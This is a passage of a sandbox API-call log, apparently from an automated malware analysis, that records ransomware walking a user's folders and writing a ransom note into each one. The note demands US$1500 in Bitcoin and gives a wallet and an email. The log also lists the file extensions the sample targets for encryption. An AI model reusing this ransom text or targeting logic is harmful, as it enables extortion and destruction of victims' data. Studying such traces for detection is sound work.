[0088.056] lstrcmpA (lpString1=".", lpString2="14") returned -1 [0088.056] lstrcmpA (lpString1="..", lpString2="14") returned -1 [0088.056] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\*.*") returned="*.*" [0088.056] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="14" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14" [0088.056] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14") returned 69 [0088.056] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.057] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.057] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.058] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.058] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.058] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8e064c0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0088.058] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0088.058] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0088.058] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\*.*") returned="*.*" [0088.058] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\", lpString2="1033" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033" [0088.058] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033") returned 74 [0088.058] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8e064c0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.059] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.059] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8e064c0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.059] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.059] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.059] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e064c0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0xfee79d60, ftLastWriteTime.dwHighDateTime=0x1d3aab9, nFileSizeHigh=0x0, nFileSizeLow=0x5f600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Global.MPT", cAlternateFileName="")) returned 1 [0088.059] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.059] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Global.MPT") returned -1 [0088.059] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Global.MPT") returned 1 [0088.060] lstrcmpiA (lpString1="", lpString2="Global.MPT") returned -1 [0088.060] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\*.*") returned="*.*" [0088.060] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\" [0088.060] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\") returned="" [0088.060] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\HOW TO DECRYPT FILES.txt" [0088.060] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\how to decrypt files.txt")) returned 0xffffffff [0088.060] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.061] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0088.061] WriteFile (in: hFile=0x9c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0088.063] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.063] CloseHandle (hObject=0x9c) returned 1 [0088.063] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\", lpString2="Global.MPT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT" [0088.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.ems") returned 0 [0088.063] lstrlenA (lpString="*.ems") returned 5 [0088.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.db") returned 0 [0088.063] lstrlenA (lpString="*.db") returned 4 [0088.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.dbf") returned 0 [0088.064] lstrlenA (lpString="*.dbf") returned 5 [0088.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.myox") returned 0 [0088.064] lstrlenA (lpString="*.myox") returned 6 [0088.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.myo") returned 0 [0088.064] lstrlenA (lpString="*.myo") returned 5 [0088.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.qbw") returned 0 [0088.064] lstrlenA (lpString="*.qbw") returned 5 [0088.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.qbb") returned 0 [0088.064] lstrlenA (lpString="*.qbb") returned 5 [0088.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.qbm") returned 0 [0088.064] lstrlenA (lpString="*.qbm") returned 5 [0088.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.qbo") returned 0 [0088.064] lstrlenA (lpString="*.qbo") returned 5 [0088.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.qbx") returned 0 [0088.064] lstrlenA (lpString="*.qbx") returned 5 [0088.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.qba") returned 0 [0088.064] lstrlenA (lpString="*.qba") returned 5 [0088.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.qby") returned 0 [0088.065] lstrlenA (lpString="*.qby") returned 5 [0088.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.qbj") returned 0 [0088.065] lstrlenA (lpString="*.qbj") returned 5 [0088.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.ofx") returned 0 [0088.065] lstrlenA (lpString="*.ofx") returned 5 [0088.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.qif") returned 0 [0088.065] lstrlenA (lpString="*.qif") returned 5 [0088.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.mye") returned 0 [0088.065] lstrlenA (lpString="*.mye") returned 5 [0088.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.mbox") returned 0 [0088.065] lstrlenA (lpString="*.mbox") returned 6 [0088.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.eml") returned 0 [0088.065] lstrlenA (lpString="*.eml") returned 5 [0088.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.pst") returned 0 [0088.065] lstrlenA (lpString="*.pst") returned 5 [0088.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.ost") returned 0 [0088.065] lstrlenA (lpString="*.ost") returned 5 [0088.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.idx") returned 0 [0088.065] lstrlenA (lpString="*.idx") returned 5 [0088.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.dbx") returned 0 [0088.065] lstrlenA (lpString="*.dbx") returned 5 [0088.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.sql") returned 0 [0088.066] lstrlenA (lpString="*.sql") returned 5 [0088.066] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.mdb") returned 0 [0088.066] lstrlenA (lpString="*.mdb") returned 5 [0088.066] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.fdb") returned 0 [0088.066] lstrlenA (lpString="*.fdb") returned 5 [0088.066] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.wab") returned 0 [0088.066] lstrlenA (lpString="*.wab") returned 5 [0088.066] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.dat") returned 0 [0088.066] lstrlenA (lpString="*.dat") returned 5 [0088.066] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.txt") returned 0 [0088.066] lstrlenA (lpString="*.txt") returned 5 [0088.066] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.jpeg") returned 0 [0088.066] lstrlenA (lpString="*.jpeg") returned 6 [0088.066] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.jpg") returned 0 [0088.066] lstrlenA (lpString="*.jpg") returned 5 [0088.066] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.png") returned 0 [0088.066] lstrlenA (lpString="*.png") returned 5 [0088.066] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.php") returned 0 [0088.066] lstrlenA (lpString="*.php") returned 5 [0088.066] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.cs") returned 0 [0088.066] lstrlenA (lpString="*.cs") returned 4 [0088.067] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.cpp") returned 0 [0088.067] lstrlenA (lpString="*.cpp") returned 5 [0088.067] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.rar") returned 0 [0088.067] lstrlenA (lpString="*.rar") returned 5 [0088.067] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.zip") returned 0 [0088.067] lstrlenA (lpString="*.zip") returned 5 [0088.067] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.html") returned 0 [0088.067] lstrlenA (lpString="*.html") returned 6 [0088.067] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.htm") returned 0 [0088.067] lstrlenA (lpString="*.htm") returned 5 [0088.067] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.xlsx") returned 0 [0088.067] lstrlenA (lpString="*.xlsx") returned 6 [0088.067] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.xls") returned 0 [0088.067] lstrlenA (lpString="*.xls") returned 5 [0088.067] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.mp4") returned 0 [0088.067] lstrlenA (lpString="*.mp4") returned 5 [0088.067] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.ppt") returned 0 [0088.067] lstrlenA (lpString="*.ppt") returned 5 [0088.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.pptx") returned 0 [0088.068] lstrlenA (lpString="*.pptx") returned 6 [0088.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.doc") returned 0 [0088.068] lstrlenA (lpString="*.doc") returned 5 [0088.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.dot") returned 0 [0088.068] lstrlenA (lpString="*.dot") returned 5 [0088.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.docx") returned 0 [0088.068] lstrlenA (lpString="*.docx") returned 6 [0088.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.7z") returned 0 [0088.068] lstrlenA (lpString="*.7z") returned 4 [0088.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.tar") returned 0 [0088.068] lstrlenA (lpString="*.tar") returned 5 [0088.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.bz2") returned 0 [0088.068] lstrlenA (lpString="*.bz2") returned 5 [0088.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.gz") returned 0 [0088.068] lstrlenA (lpString="*.gz") returned 4 [0088.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.mkv") returned 0 [0088.068] lstrlenA (lpString="*.mkv") returned 5 [0088.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.eml") returned 0 [0088.068] lstrlenA (lpString="*.eml") returned 5 [0088.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.msg") returned 0 [0088.069] lstrlenA (lpString="*.msg") returned 5 [0088.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.edb") returned 0 [0088.069] lstrlenA (lpString="*.edb") returned 5 [0088.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.accdb") returned 0 [0088.069] lstrlenA (lpString="*.accdb") returned 7 [0088.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.odb") returned 0 [0088.069] lstrlenA (lpString="*.odb") returned 5 [0088.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.java") returned 0 [0088.069] lstrlenA (lpString="*.java") returned 6 [0088.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.asm") returned 0 [0088.069] lstrlenA (lpString="*.asm") returned 5 [0088.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.pfx") returned 0 [0088.069] lstrlenA (lpString="*.pfx") returned 5 [0088.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.pem") returned 0 [0088.069] lstrlenA (lpString="*.pem") returned 5 [0088.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.p12") returned 0 [0088.069] lstrlenA (lpString="*.p12") returned 5 [0088.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.gpg") returned 0 [0088.070] lstrlenA (lpString="*.gpg") returned 5 [0088.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.vsd") returned 0 [0088.070] lstrlenA (lpString="*.vsd") returned 5 [0088.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.odg") returned 0 [0088.070] lstrlenA (lpString="*.odg") returned 5 [0088.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.raw") returned 0 [0088.070] lstrlenA (lpString="*.raw") returned 5 [0088.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.nef") returned 0 [0088.070] lstrlenA (lpString="*.nef") returned 5 [0088.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.svg") returned 0 [0088.070] lstrlenA (lpString="*.svg") returned 5 [0088.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.psd") returned 0 [0088.070] lstrlenA (lpString="*.psd") returned 5 [0088.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.vmx") returned 0 [0088.070] lstrlenA (lpString="*.vmx") returned 5 [0088.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.vmdk") returned 0 [0088.070] lstrlenA (lpString="*.vmdk") returned 6 [0088.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.vdi") returned 0 [0088.070] lstrlenA (lpString="*.vdi") returned 5 [0088.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.lay6") returned 0 [0088.070] lstrlenA (lpString="*.lay6") returned 6 [0088.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.mpeg") returned 0 [0088.070] lstrlenA (lpString="*.mpeg") returned 6 [0088.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.djvu") returned 